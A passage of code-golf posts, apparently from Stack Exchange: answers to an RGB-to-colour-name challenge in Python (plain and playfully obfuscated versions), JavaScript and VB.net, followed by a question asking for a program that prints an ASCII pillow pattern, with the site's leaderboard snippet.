me|gold|snow|grey|teal|navy|pink|keys|try|i|len|app|Red|column|The|min|tan|to|Tk|row|hexValue|is|W|blueEntry|columnspan|Label".split("|"))) ``` ### Not Obfuscated (6,898 bytes): ``` from Tkinter import * colorlist = {'#7cfc00': 'lawngreen', '#808080': 'grey', '#00008b': 'darkblue', '#ffe4b5': 'moccasin', '#fffff0': 'ivory', '#9400d3': 'darkviolet', '#b8860b': 'darkgoldenrod', '#fffaf0': 'floralwhite', '#8b008b': 'darkmagenta', '#fff5ee': 'seashell', '#ff8c00': 'darkorange', '#5f9ea0': 'cadetblue', '#2f4f4f': 'darkslategray', '#afeeee': 'paleturquoise', '#add8e6': 'lightblue', '#fffafa': 'snow', '#1e90ff': 'dodgerblue', '#000000': 'black', '#8fbc8f': 'darkseagreen', '#7fffd4': 'aquamarine', '#ffe4e1': 'mistyrose', '#800000': 'maroon', '#6495ed': 'cornflowerblue', '#4169e1': 'royalblue', '#40e0d0': 'turquoise', '#ffffff': 'white', '#00ced1': 'darkturquoise', '#8b0000': 'darkred', '#ee82ee': 'violet', '#adff2f': 'greenyellow', '#b0e0e6': 'powderblue', '#7b68ee': 'mediumslateblue', '#ff00ff': 'magenta', '#4682b4': 'steelblue', '#ff6347': 'tomato', '#00ff7f': 'springgreen', '#ffefd5': 'papayawhip', '#ffd700': 'gold', '#f5fffa': 'mintcream', '#dda0dd': 'plum', '#cd5c5c': 'indianred', '#ffa07a': 'lightsalmon', '#00fa9a': 'mediumspringgreen', '#f8f8ff': 'ghostwhite', '#008000': 'green', '#faebd7': 'antiquewhite', '#f0fff0': 'honeydew', '#c0c0c0': 'silver', '#228b22': 'forestgreen', '#7fff00': 'chartreuse', '#fafad2': 'lightgoldenrodyellow', '#fff8dc': 'cornsilk', '#f4a460': 'sandybrown', '#6b8e23': 'olivedrab', '#9932cc': 'darkorchid', '#fdf5e6': 'oldlace', '#3cb371': 'mediumseagreen', '#d8bfd8': 'thistle', '#808000': 'olive', '#a9a9a9': 'darkgray', '#f5f5dc': 'beige', '#f5deb3': 'wheat', '#ffa500': 'orange', '#00ff00': 'lime', '#90ee90': 'lightgreen', '#a0522d': 'sienna', '#8b4513': 'saddlebrown', '#00ffff': 'aqua', '#4b0082': 'indigo', '#66cdaa': 'mediumaquamarine', '#b22222': 'firebrick', '#d2b48c': 'tan', '#ffebcd': 'blanchedalmond', '#0000ff': 'blue', '#da70d6': 'orchid', '#fffacd': 'lemonchiffon', '#ff7f50': 'coral', '#f5f5f5': 'whitesmoke', '#ffc0cb': 'pink', '#f0e68c': 'khaki', '#ffffe0': 'lightyellow', '#f0ffff': 'azure', '#f0f8ff': 'aliceblue', '#daa520': 'goldenrod', '#c71585': 'mediumvioletred', '#b0c4de': 'lightsteelblue', '#fa8072': 'salmon', '#708090': 'slategray', '#ff1493': 'deeppink', '#6a5acd': 'slateblue', '#2e8b57': 'seagreen', '#e9967a': 'darksalmon', '#778899': 'lightslategrey', '#ba55d3': 'mediumorchid', '#ff4500': 'orangered', '#a52a2a': 'brown', '#696969': 'dimgrey', '#191970': 'midnightblue', '#dc143c': 'crimson', '#bdb76b': 'darkkhaki', '#ffff00': 'yellow', '#d87093': 'palevioletred', '#556b2f': 'darkolivegreen', '#9370d8': 'mediumpurple', '#eee8aa': 'palegoldenrod', '#cd853f': 'peru', '#faf0e6': 'linen', '#bc8f8f': 'rosybrown', '#d2691e': 'chocolate', '#008080': 'teal', '#98fb98': 'palegreen', '#ff69b4': 'hotpink', '#e0ffff': 'lightcyan', '#87cefa': 'lightskyblue', '#ffdead': 'navajowhite', '#483d8b': 'darkslateblue', '#32cd32': 'limegreen', '#e6e6fa': 'lavender', '#800080': 'purple', '#d3d3d3': 'lightgray', '#006400': 'darkgreen', '#0000cd': 'mediumblue', '#00bfff': 'deepskyblue', '#ffe4c4': 'bisque', '#48d1cc': 'mediumturquoise', '#008b8b': 'darkcyan', '#9acd32': 'yellowgreen', '#f08080': 'lightcoral', '#ff0000': 'red', '#deb887': 'burlywood', '#ffb6c1': 'lightpink', '#20b2aa': 'lightseagreen', '#87ceeb': 'skyblue', '#fff0f5': 'lavenderblush', '#8a2be2': 'blueviolet', '#000080': 'navy', '#dcdcdc': 'gainsboro', '#ffdab9': 'peachpuff'} def hex_to_rgb(value): value = value.lstrip('#') lv = len(value) return tuple(int(value[i:i+lv/3], 16) for i in range(0, lv, lv/3)) class Application(Frame): def __init__(self, master): Frame.__init__(self, master) self.grid() self.loop() def loop(self): self.instructionsLabel = Label(self, text = "Enter in a RGB value.") self.instructionsLabel.grid(row = 1, column = 0, columnspan = 3) self.redLabel = Label(self, text = "Red") self.redLabel.grid(row = 2, column = 0, padx = 5, pady = 5) self.redEntry = Entry(self) self.redEntry.grid(row = 3, column = 0, padx = 5, pady = 5) self.greenLabel = Label(self, text = "Green") self.greenLabel.grid(row = 2, column = 1, padx = 5, pady = 5) self.greenEntry = Entry(self) self.greenEntry.grid(row = 3, column = 1, padx = 5, pady = 5) self.blueLabel = Label(self, text = "Blue") self.blueLabel.grid(row = 2, column = 2, padx = 5, pady = 5) self.blueEntry = Entry(self) self.blueEntry.grid(row = 3, column = 2, padx = 5, pady = 5) self.submit = Button(self, text = "Convert", command = self.convert) self.submit.grid(row = 4, column = 0, columnspan = 3) self.colorLabel = Label(self) self.colorLabel.grid(row = 5, column = 0, columnspan = 3) self.colorCanvas = Canvas(self, width = 460, height = 20) self.colorCanvas.grid(row = 6, column = 0, columnspan = 3) self.canvasText = Label(self) self.canvasText.grid(row = 6, column = 0, sticky = W) self.colorCanvas1 = Canvas(self, width = 460, height = 20) self.colorCanvas1.grid(row = 7, column = 0, columnspan = 3) self.canvasText1 = Label(self) self.canvasText1.grid(row = 7, column = 0, sticky = W) def convert(self): try: red = int(self.redEntry.get()) green = int(self.greenEntry.get()) blue = int(self.blueEntry.get()) except ValueError: self.colorLabel["text"] = "Those are not valid numbers." return if red not in range(256): self.colorLabel["text"] = "Those are not valid numbers." return if green not in range(256): self.colorLabel["text"] = "Those are not valid numbers." return if blue not in range(256): self.colorLabel["text"] = "Those are not valid numbers." return colorDifs = {} colors = {} for hexValue, colorName in colorlist.items(): colors[colorName] = hexValue red1, green1, blue1 = hex_to_rgb(hexValue) red_dif = abs(red1 - red) green_dif = abs(green1 - green) blue_dif = abs(blue1 - blue) colorDifs[red_dif + green_dif + blue_dif] = colorName color = colorDifs[min(colorDifs.keys())]; hexValue = colors[color] rectFill = '#%02x%02x%02x' % (red, green, blue) self.colorLabel["text"] = "The color is " + color self.canvasText["text"] = "(" + str(red) + ", " + str(green) + ", " + str(blue) + ")" self.canvasText1["text"] = color self.colorCanvas.create_rectangle(20, 0, 440, 20, fill = rectFill) self.colorCanvas1.create_rectangle(20, 0, 440, 20, fill = hexValue) root = Tk() root.title("RGB to Color Name Converter") root.geometry("460x180") app = Application(root) root.mainloop() ``` ![UI](https://i.stack.imgur.com/Frjac.png) ![Invalid Numbers](https://i.stack.imgur.com/xAsPb.png) ![Invalid Numbers](https://i.stack.imgur.com/NwGsg.png) ### Without UI: ### Obfuscated (6,543 bytes): ``` exec("import re;import base64");exec((lambda p,y:(lambda o,b,f:re.sub(o,b,f))(r"([0-9a-f]+)",lambda m:p(m,y),base64.b64decode("MTMgPSB7JyMxMGYnOiAnNTcnLCAnIzExOCc6ICcxMzgnLCAnIzhiJzogJzc5JywgJyNmYyc6ICc3NScsICcjZDgnOiAnMTI2JywgJyNjNic6ICc1NScsICcjYTMnOiAnMjknLCAnIzkwJzogJzNkJywgJyNmMyc6ICc0MScsICcjZGEnOiAnNzcnLCAnIzEwMic6ICc0NycsICcjZTQnOiAnNWQnLCAnI2IxJzogJzJjJywgJyMxMTUnOiAnMmEnLCAnI2NjJzogJzcwJywgJyM5ZCc6ICcxM2UnLCAnIzhjJzogJzQ5JywgJyMxNGMnOiAnMTI5JywgJyNiMic6ICczNicsICcjZmInOiAnNDgnLCAnI2YwJzogJzY1JywgJyNkYyc6ICdhNScsICcjZTInOiAnMjEnLCAnI2JiJzogJzViJywgJyMxMjQnOiAnNjcnLCAnI2M3JzogJzEyYScsICcjZjYnOiAnMmUnLCAnI2RlJzogJzgxJywgJyMxMDEnOiAnMTFjJywgJyNkNSc6ICczYicsICcjMTA5JzogJzRiJywgJyNhOSc6ICcxZCcsICcjZjUnOiAnODQnLCAnIzkxJzogJzU4JywgJyM4ZCc6ICcxMWEnLCAnIzk1JzogJzQzJywgJyM5YSc6ICc1MCcsICcjZDMnOiAnMTNiJywgJyNiNic6ICc1ZScsICcjOTMnOiAnMTNhJywgJyNiZic6ICc2YycsICcjZjknOiAnM2YnLCAnI2MzJzogJzE0ZScsICcjMTAzJzogJzUyJywgJyMxMTAnOiAnMTRmJywgJyNjZic6ICczNCcsICcjMTE2JzogJzc2JywgJyM4Zic6ICcxMTknLCAnI2ZkJzogJzM5JywgJyNjZSc6ICc1NCcsICcjYTgnOiAnMTInLCAnI2FjJzogJzdlJywgJyMxMWQnOiAnNDUnLCAnI2IzJzogJzU5JywgJyNhYic6ICc1MycsICcjYjUnOiAnODYnLCAnI2Y4JzogJzIzJywgJyNiZSc6ICc4MicsICcjMTEzJzogJzEyZScsICcjZWInOiAnN2YnLCAnIzEyMic6ICcxMmInLCAnI2RkJzogJzEzMycsICcjOWUnOiAnYjQnLCAnI2Y3JzogJzEzNycsICcjMTBlJzogJzQ2JywgJyNkZic6ICdiYycsICcjY2InOiAnNDAnLCAnI2I4JzogJzEzNicsICcjMTA2JzogJzExZScsICcjOWMnOiAnMTgnLCAnIzlmJzogJzY0JywgJyM5Mic6ICcxNDgnLCAnIzExZic6ICcyNicsICcjZmYnOiAnNScsICcjOTYnOiAnYTInLCAnI2UwJzogJzM4JywgJyNjMCc6ICcxMzUnLCAnIzk4JzogJzUxJywgJyNhZSc6ICcxNDAnLCAnI2U3JzogJzEyNScsICcjOTcnOiAnM2MnLCAnIzEyMyc6ICcxMzEnLCAnI2M4JzogJzY4JywgJyM5OSc6ICc2NicsICcjYWQnOiAnMWMnLCAnI2Y0JzogJzI1JywgJyNiYSc6ICdkYicsICcjYzEnOiAnNmInLCAnI2UxJzogJzdjJywgJyMxMGEnOiAnNjEnLCAnI2Q5JzogJzdhJywgJyNhMCc6ICc0YScsICcjZWMnOiAnMjQnLCAnI2M5JzogJzM3JywgJyM5NCc6ICc2ZCcsICcjYzQnOiAnMTJkJywgJyMxMTcnOiAnODUnLCAnI2IwJzogJzMwJywgJyMxMDQnOiAnODgnLCAnI2ZlJzogJzVjJywgJyMxMWInOiAnZWYnLCAnIzEwZCc6ICcyNycsICcjZTgnOiAnMjInLCAnIzExMSc6ICczMScsICcjOGUnOiAnMmYnLCAnI2NhJzogJzEzYycsICcjYjknOiAnMTI3JywgJyNlYSc6ICc2MCcsICcjYmQnOiAnNjMnLCAnIzEwOCc6ICcxMzknLCAnI2Q2JzogJzcyJywgJyMxMDUnOiAnODMnLCAnI2FmJzogJzczJywgJyMxMGMnOiAnMzUnLCAnI2VlJzogJzNhJywgJyM4OSc6ICcyZCcsICcjMTIwJzogJzVhJywgJyNhYSc6ICc3OCcsICcjMTA3JzogJ2Q3JywgJyMxMDAnOiAnNmYnLCAnI2VkJzogJzU2JywgJyNjZCc6ICc0ZScsICcjMTEyJzogJzQyJywgJyNjNSc6ICdmMicsICcjYzInOiAnMWYnLCAnIzliJzogJzhhJywgJyNkMCc6ICczZScsICcjYTQnOiAnNDQnLCAnIzEwYic6ICdhJywgJyNkNCc6ICc2YScsICcjYjcnOiAnNzQnLCAnIzExNCc6ICcyYicsICcjZDEnOiAnODcnLCAnI2E3JzogJzI4JywgJyNmYSc6ICc0YycsICcjODAnOiAnMTNmJywgJyNlNic6ICc1ZicsICcjZTMnOiAnNzEnfQoxMjEgMTAoNyk6Cgk3ID0gNy5lOSgnIycpCgk3YiA9IDE0OSg3KQoJMzIgMTM0KGUoN1sxNDY6MTQ2KzdiLzNdLCAxNikgZjEgMTQ2IDRkIGYoMTRjLCA3YiwgN2IvMykpCgoxMjEgMWIoNik6CglkID0ge307CglmMSAxYSwgNCA0ZCAxMy4xMzIoKToKCQlhLCAxNGYsIDUgPSAxMCgxYSk7CgkJMjAgPSA2OShhIC0gNlsxNGNdKTsKCQkxNSA9IDY5KDE0ZiAtIDZbMV0pCgkJMTcgPSA2OSg1IC0gNlsyXSkKCQlkWzIwICsgMTUgKyAxN10gPSA0CgkzMiBkWzE0NShkLjEzZCgpKV07CgoxMSAxOToKCgljICJhNiAxMjggMTQ0IDE0MiA3LiI7CglhMSgiLS0xMmYgMTJjIDE0ZCA3ZC0tXDRmPiAiKTsKCglhLCAxNGYsIDUgPSAiIiwgIiIsICIiOwoJYSA9IGExKCIxNDdcNGY+ICIpOwoJMTEgMTk6CgkJYjoKCQkJZTUgZShhKSA2MiA0ZCBmKDZlKToKCQkJCWEgPSBhMSgiLS0xNGItLVwxNTAgYiA4XDRmPiAiKTsKCQkJMzM6CgkJCQkxZTsKCQkxNCA5OgoJCQlhID0gYTEoIi0tMTRiLS1cMTUwIGIgOFw0Zj4gIik7CgoJMTRmID0gYTEoIjEzMFw0Zj4gIik7CgkxMSAxOToKCQliOgoJCQllNSBlKDE0ZikgNjIgNGQgZig2ZSk6CgkJCQkxNGYgPSBhMSgiLS0xNGItLVwxNTAgYiA4XDRmPiAiKTsKCQkJMzM6CgkJCQkxZTsKCQkxNCA5OgoJCQkxNGYgPSBhMSgiLS0xNGItLVwxNTAgYiA4XDRmPiAiKTsKCgk1ID0gYTEoIjE0MVw0Zj4gIik7CgkxMSAxOToKCQliOgoJCQllNSBlKDUpIDYyIDRkIGYoNmUpOgoJCQkJNSA9IGExKCItLTE0Yi0tXDE1MCBiIDhcNGY+ICIpOwoJCQkzMzoKCQkJCTFlOwoJCTE0IDk6CgkJCTUgPSBhMSgiLS0xNGItLVwxNTAgYiA4XDRmPiAiKTsKCglkMiA9IChlKGEpLCBlKDE0ZiksIGUoNSkpOwoJNCA9IDFiKGQyKTsKCgljICIxNDMgMWIgMTRhIiwgNDsKCWMKCWMKCWM=")))(lambda a,b:b[int("0x"+a.group(1),16)],"000000|1|2|3|colorName|blue|rgbValue|value|again|ValueError|red|try|print|colors|int|range|hex_to_rgb|while|lightgoldenrodyellow|colorlist|except|green_dif|16|blue_dif|mediumaquamarine|True|hexValue|color|mediumvioletred|mediumslateblue|break|mediumturquoise|red_dif|cornflowerblue|darkolivegreen|mediumseagreen|lightslategrey|lightsteelblue|blanchedalmond|palevioletred|lavenderblush|darkgoldenrod|paleturquoise|lightseagreen|darkslategray|darkslateblue|darkturquoise|palegoldenrod|midnightblue|mediumpurple|return|else|antiquewhite|lightskyblue|darkseagreen|mediumorchid|lemonchiffon|forestgreen|navajowhite|greenyellow|lightyellow|floralwhite|yellowgreen|lightsalmon|saddlebrown|darkmagenta|deepskyblue|springgreen|lightcoral|sandybrown|lightgreen|darkorange|aquamarine|dodgerblue|darksalmon|powderblue|blueviolet|in|mediumblue|n|papayawhip|whitesmoke|ghostwhite|darkorchid|chartreuse|darkviolet|darkgreen|lawngreen|steelblue|olivedrab|limegreen|royalblue|darkkhaki|cadetblue|mintcream|gainsboro|rosybrown|slateblue|not|chocolate|firebrick|mistyrose|goldenrod|turquoise|aliceblue|abs|burlywood|slategray|indianred|orangered|256|lightgray|lightblue|peachpuff|palegreen|lightcyan|lightpink|moccasin|honeydew|seashell|lavender|darkblue|seagreen|lv|deeppink|continue|cornsilk|darkgray|000080|darkred|thistle|hotpink|magenta|dimgrey|oldlace|skyblue|crimson|483d8b|darkcyan|00008b|1e90ff|ff6347|eee8aa|c0c0c0|fffaf0|4682b4|d2b48c|dda0dd|ff4500|00ff7f|da70d6|ffffe0|f5f5f5|daa520|ffefd5|008b8b|66cdaa|fffafa|ffa500|b22222|e9967a|raw_input|orchid|b8860b|f08080|maroon|Please|fff0f5|fafad2|7b68ee|e6e6fa|9932cc|fff8dc|c71585|ffc0cb|e0ffff|191970|2f4f4f|8fbc8f|6b8e23|orange|fdf5e6|f5fffa|ffb6c1|00ffff|faf0e6|fa8072|4169e1|sienna|d2691e|d8bfd8|cd5c5c|ff7f50|708090|48d1cc|00fa9a|a52a2a|ffe4c4|9400d3|ffffff|f0f8ff|ba55d3|cd853f|8b4513|add8e6|0000cd|7fff00|faebd7|9acd32|87ceeb|rgb|ffd700|deb887|adff2f|98fb98|purple|fffff0|2e8b57|fff5ee|salmon|800000|f5deb3|8b0000|a0522d|fffacd|ff1493|6495ed|ffdab9|5f9ea0|if|dcdcdc|f0e68c|556b2f|lstrip|bc8f8f|a9a9a9|778899|006400|ffdead|yellow|ffe4e1|for|bisque|8b008b|b0c4de|ff00ff|00ced1|00ff00|3cb371|ffa07a|8a2be2|7fffd4|ffe4b5|228b22|bdb76b|0000ff|d3d3d3|ee82ee|ff8c00|f8f8ff|dc143c|ff69b4|4b0082|800080|008080|b0e0e6|6a5acd|ff0000|87cefa|d87093|90ee90|7cfc00|008000|9370d8|00bfff|808000|20b2aa|afeeee|f0fff0|696969|808080|silver|tomato|ffff00|violet|f4a460|indigo|ffebcd|32cd32|def|f5f5dc|f0ffff|40e0d0|khaki|ivory|linen|input|black|white|beige|ENTER|brown|olive|Press|GREEN|azure|items|wheat|tuple|coral|aqua|lime|grey|teal|plum|gold|peru|keys|snow|navy|pink|BLUE|RGB|The|the|min|i|RED|tan|len|is|INVALID|0|to|mediumspringgreen|green|nPlease".split("|"))) ``` ### Not Obfuscated (5,050 bytes): ``` colorlist = {'#7cfc00': 'lawngreen', '#808080': 'grey', '#00008b': 'darkblue', '#ffe4b5': 'moccasin', '#fffff0': 'ivory', '#9400d3': 'darkviolet', '#b8860b': 'darkgoldenrod', '#fffaf0': 'floralwhite', '#8b008b': 'darkmagenta', '#fff5ee': 'seashell', '#ff8c00': 'darkorange', '#5f9ea0': 'cadetblue', '#2f4f4f': 'darkslategray', '#afeeee': 'paleturquoise', '#add8e6': 'lightblue', '#fffafa': 'snow', '#1e90ff': 'dodgerblue', '#000000': 'black', '#8fbc8f': 'darkseagreen', '#7fffd4': 'aquamarine', '#ffe4e1': 'mistyrose', '#800000': 'maroon', '#6495ed': 'cornflowerblue', '#4169e1': 'royalblue', '#40e0d0': 'turquoise', '#ffffff': 'white', '#00ced1': 'darkturquoise', '#8b0000': 'darkred', '#ee82ee': 'violet', '#adff2f': 'greenyellow', '#b0e0e6': 'powderblue', '#7b68ee': 'mediumslateblue', '#ff00ff': 'magenta', '#4682b4': 'steelblue', '#ff6347': 'tomato', '#00ff7f': 'springgreen', '#ffefd5': 'papayawhip', '#ffd700': 'gold', '#f5fffa': 'mintcream', '#dda0dd': 'plum', '#cd5c5c': 'indianred', '#ffa07a': 'lightsalmon', '#00fa9a': 'mediumspringgreen', '#f8f8ff': 'ghostwhite', '#008000': 'green', '#faebd7': 'antiquewhite', '#f0fff0': 'honeydew', '#c0c0c0': 'silver', '#228b22': 'forestgreen', '#7fff00': 'chartreuse', '#fafad2': 'lightgoldenrodyellow', '#fff8dc': 'cornsilk', '#f4a460': 'sandybrown', '#6b8e23': 'olivedrab', '#9932cc': 'darkorchid', '#fdf5e6': 'oldlace', '#3cb371': 'mediumseagreen', '#d8bfd8': 'thistle', '#808000': 'olive', '#a9a9a9': 'darkgray', '#f5f5dc': 'beige', '#f5deb3': 'wheat', '#ffa500': 'orange', '#00ff00': 'lime', '#90ee90': 'lightgreen', '#a0522d': 'sienna', '#8b4513': 'saddlebrown', '#00ffff': 'aqua', '#4b0082': 'indigo', '#66cdaa': 'mediumaquamarine', '#b22222': 'firebrick', '#d2b48c': 'tan', '#ffebcd': 'blanchedalmond', '#0000ff': 'blue', '#da70d6': 'orchid', '#fffacd': 'lemonchiffon', '#ff7f50': 'coral', '#f5f5f5': 'whitesmoke', '#ffc0cb': 'pink', '#f0e68c': 'khaki', '#ffffe0': 'lightyellow', '#f0ffff': 'azure', '#f0f8ff': 'aliceblue', '#daa520': 'goldenrod', '#c71585': 'mediumvioletred', '#b0c4de': 'lightsteelblue', '#fa8072': 'salmon', '#708090': 'slategray', '#ff1493': 'deeppink', '#6a5acd': 'slateblue', '#2e8b57': 'seagreen', '#e9967a': 'darksalmon', '#778899': 'lightslategrey', '#ba55d3': 'mediumorchid', '#ff4500': 'orangered', '#a52a2a': 'brown', '#696969': 'dimgrey', '#191970': 'midnightblue', '#dc143c': 'crimson', '#bdb76b': 'darkkhaki', '#ffff00': 'yellow', '#d87093': 'palevioletred', '#556b2f': 'darkolivegreen', '#9370d8': 'mediumpurple', '#eee8aa': 'palegoldenrod', '#cd853f': 'peru', '#faf0e6': 'linen', '#bc8f8f': 'rosybrown', '#d2691e': 'chocolate', '#008080': 'teal', '#98fb98': 'palegreen', '#ff69b4': 'hotpink', '#e0ffff': 'lightcyan', '#87cefa': 'lightskyblue', '#ffdead': 'navajowhite', '#483d8b': 'darkslateblue', '#32cd32': 'limegreen', '#e6e6fa': 'lavender', '#800080': 'purple', '#d3d3d3': 'lightgray', '#006400': 'darkgreen', '#0000cd': 'mediumblue', '#00bfff': 'deepskyblue', '#ffe4c4': 'bisque', '#48d1cc': 'mediumturquoise', '#008b8b': 'darkcyan', '#9acd32': 'yellowgreen', '#f08080': 'lightcoral', '#ff0000': 'red', '#deb887': 'burlywood', '#ffb6c1': 'lightpink', '#20b2aa': 'lightseagreen', '#87ceeb': 'skyblue', '#fff0f5': 'lavenderblush', '#8a2be2': 'blueviolet', '#000080': 'navy', '#dcdcdc': 'gainsboro', '#ffdab9': 'peachpuff'} def hex_to_rgb(value): value = value.lstrip('#') lv = len(value) return tuple(int(value[i:i+lv/3], 16) for i in range(0, lv, lv/3)) def color(rgbValue): colors = {}; for hexValue, colorName in colorlist.items(): red, green, blue = hex_to_rgb(hexValue); red_dif = abs(red - rgbValue[0]); green_dif = abs(green - rgbValue[1]) blue_dif = abs(blue - rgbValue[2]) colors[red_dif + green_dif + blue_dif] = colorName return colors[min(colors.keys())]; while True: print "Please input the RGB value."; raw_input("--Press ENTER to continue--\n> "); red, green, blue = "", "", ""; red = raw_input("RED\n> "); while True: try: if int(red) not in range(256): red = raw_input("--INVALID--\nPlease try again\n> "); else: break; except ValueError: red = raw_input("--INVALID--\nPlease try again\n> "); green = raw_input("GREEN\n> "); while True: try: if int(green) not in range(256): green = raw_input("--INVALID--\nPlease try again\n> "); else: break; except ValueError: green = raw_input("--INVALID--\nPlease try again\n> "); blue = raw_input("BLUE\n> "); while True: try: if int(blue) not in range(256): blue = raw_input("--INVALID--\nPlease try again\n> "); else: break; except ValueError: blue = raw_input("--INVALID--\nPlease try again\n> "); rgb = (int(red), int(green), int(blue)); colorName = color(rgb); print "The color is", colorName; print print print ``` ![No UI](https://i.stack.imgur.com/6DAGn.png) [Answer] # Javascript <https://jsfiddle.net/SuperJedi224/goxyhm7a/> Some sample results [as of July 31] (colors listed are, in order, the one it determines as the closest and the one it determines as the second closest; except where only one is given, in which case it was determined to be an exact match): ![enter image description here](https://dummyimage.com/100/3083cc/0011ff.png&text=+) Bright Navy Blue / Steel Blue ![a](https://dummyimage.com/100/e18720/0011ff.png&text=+) Bronze / Tan Yellow Orange ![a](https://dummyimage.com/100/e9d555/0011ff.png&text=+) Topaz / Pear ![a](https://dummyimage.com/100/7c9b1d/0011ff.png&text=+) Slime Green / Olive Green ![a](https://dummyimage.com/100/3b9b60/0011ff.png&text=+) Viridian / Emerald [Answer] VB.net ``` Function ColorName(r AS Integer, g As Integer, b As Integer)As String Dim nc = Color.FromArgb(255, r, g, b) For Each ob In [Enum].GetValues(GetType(System.Drawing.KnownColor)) Dim c = Color.FromKnownColor(CType(ob, System.Drawing.KnownColor)) If (c.R = nc.R) AndAlso (c.B = nc.B) AndAlso (c.G = nc.G) Then Return c.Name Next Return nc.Name End Function ``` ]
[Question] [ ...will you help me immortalize it? [![enter image description here](https://i.stack.imgur.com/5KcWXm.png)](https://i.stack.imgur.com/5KcWXm.png) I've had this pillow a few years now, and apparently it's time to get rid of it. Can you please write a function or program, that I can bring with me and use to recreate this pillow whenever I want to reminisce a bit. It must work with no input arguments. The output should look exactly like this (trailing newlines and spaces are OK). ``` /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// ``` This is code golf, so the shortest code in bytes win! --- ## Leaderboard ``` var QUESTION_ID=98701,OVERRIDE_USER=31516;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> 